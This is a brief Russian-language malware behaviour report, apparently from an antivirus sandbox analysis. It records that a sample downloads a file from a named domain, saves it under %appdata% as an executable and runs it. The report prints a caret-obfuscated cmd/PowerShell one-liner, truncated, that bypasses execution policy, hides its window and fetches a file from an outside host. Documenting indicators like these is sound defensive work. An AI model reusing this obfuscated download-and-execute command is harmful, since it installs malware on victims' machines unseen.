Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fapoergol.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PO^w^ErSheLL.ExE ^-EXe^cUT^iONP^o^LIC^Y^ ^byPas^S^ -NO^Pr^Of^i^LE^ ^-wi^nD^o^w^st^Yle hI^dDE^N (NeW-^O^bJ^eCt^ ^Sys^teM^.^N^Et.WEBCL^Ie^NT)^.D^Own^LO^A^dfilE('http://www....
Сетевая активность
UDP
- DNS ASK fa###rgol.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PO^w^ErSheLL.ExE ^-EXe^cUT^iONP^o^LIC^Y^ ^byPas^S^ -NO^Pr^Of^i^LE^ ^-wi^nD^o^w^st^Yle hI^dDE^N (NeW-^O^bJ^eCt^ ^Sys^teM^.^N^Et.WEBCL^Ie^NT)^.D^Own^LO^A^dfilE('http://www....' (со скрытым окном)
